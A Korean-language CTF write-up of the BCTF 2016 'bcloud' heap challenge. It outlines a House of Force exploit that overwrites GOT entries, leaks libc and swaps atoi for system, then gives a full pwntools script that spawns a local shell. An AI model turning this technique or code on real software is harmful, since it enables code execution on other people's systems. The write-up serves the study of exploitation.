[BCTF 2016] bcloud

2019. 7. 26. 02:18

tistory 블로그에 writeup쓰는 것이 너무 귀찮아지고 잇다...

언젠가 github 블로그로 옮겨야지 ㅁㄴㅇㄹ


bcloud를 풀어보았다. 최근 마크다운으로 롸업을 쓰다보니 티스토리를 못써먹겟지만... 깃헙 블로그 만드는게 귀찮으니 그냥 써야겟다....

익스는 아래와 같이 진행하였다.


취약점 : House of force


1. name입력에서 0x40만큼 꽉 채워입력하여 heap_addr를 leak

2. house of force를 이용하여 free_got영역에서부터 다음영역을 할당받을 수 있게 한다.

3. exit_got를 main으로 바꾸고, 나머지 got영역은 원래 함수의 plt+6지점으로 덮는다.

4. setvbuf함수도 puts_plt+6으로 덮는다.

5. 일부러 exit


6. main함수로 돌아와 puts(stdin), puts(stdout), puts(stderr)가 출력되어 leak이 가능하다.

7. leak한 값을 토대로 system함수 주소를 구한다.

8. atoi함수를 system함수로 덮어서 쉘을 획득.



다해놓고보니 그냥 사실 bss영역에 할당되는 heap 노트영역? 노트엿나 뭐였나 어쨋든 그부분을 덮어서 edit해도 되는 것이였다...

나는 edit이 없는줄 알았는데 있더라;;

아무튼 이렇게도 풀수있더라~



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
 
conn = process("./bcloud")
 
conn.sendafter("name:""A"*0x40)
conn.recvuntil("A"*0x40)
 
heap_addr = u32(conn.recv(4))
 
log.info("heap : " + hex(heap_addr))
 
conn.sendafter("Org:""B"*0x40)
conn.sendlineafter("Host:", p64(0xFFFFFFFF))
 
def new(size, content):
    conn.sendlineafter("option--->>""1")
    conn.sendlineafter(":"str(size))
    conn.sendlineafter("content:", content)
    
def edit(idx, content):
    conn.sendlineafter("option--->>""3")
    conn.sendlineafter("id:"str(idx))
    conn.sendlineafter("content:", content)
 
def rm(idx):
    conn.sendlineafter("option--->>""4")
    conn.sendlineafter("id:"str(idx))
 
read_got = 0x804b00c
 
top = heap_addr + 0xd0
force =  read_got - top - 0x8
log.info("force : " + str(force))
 
# force
conn.sendlineafter("option--->>""1")
conn.sendlineafter(":"str(force))
 
main_addr = 0x8048C81
puts_plt = 0x8048520
 
payload  = "A"*4            # __stack_chk_fail
payload += p32(0x8048506)   # strcpy -> strcpy_plt+6
payload += p32(0x8048516)   # malloc -> malloc_plt+6
payload += p32(puts_plt+6)  # puts
payload += "A"*4            
 
payload += p32(main_addr)   # exit
payload += "A"*4
 
payload += p32(puts_plt)    # set
payload += p32(0x8048576)   # memset_plt+6
payload += p32(0x8048586)   # atoi_plt+6
 
 
new(0x200, payload)
 
#context.log_level = "debug"
conn.sendlineafter("option--->>""6")
conn.recvuntil("Bye!\n\n")
conn.recv(4)
stdin_addr = u32(conn.recv(4)) - 71
base_addr = stdin_addr - 0x1b25a0
log.info("stdin_addr : " + hex(stdin_addr))
log.info("base_addr  : " + hex(base_addr))
 
system_addr = base_addr + 0x3ada0
 
conn.sendlineafter("name:""A")
conn.sendlineafter("Org:""B")
conn.sendlineafter("Host:""C")
 
payload  = "A"*4
payload += p32(0x8048506)
payload += p32(0x8048516)
payload += p32(puts_plt+6)
payload += "A"*4
 
payload += p32(main_addr)
payload += "A"*4
 
payload += p32(puts_plt)
payload += p32(0x8048576)
payload += p32(system_addr)
 
edit(1, payload)
conn.sendlineafter("option--->>""/bin/sh")
 
conn.interactive()
cs


'Write-up > Pwnable' 카테고리의 다른 글

[hack.lu CTF 2014] OREO  (0) 2019.07.27
[0CTF 2016] zerostorage  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11
[DEFCON 2019 Quals] speedrun  (0) 2019.05.14

+ Recent posts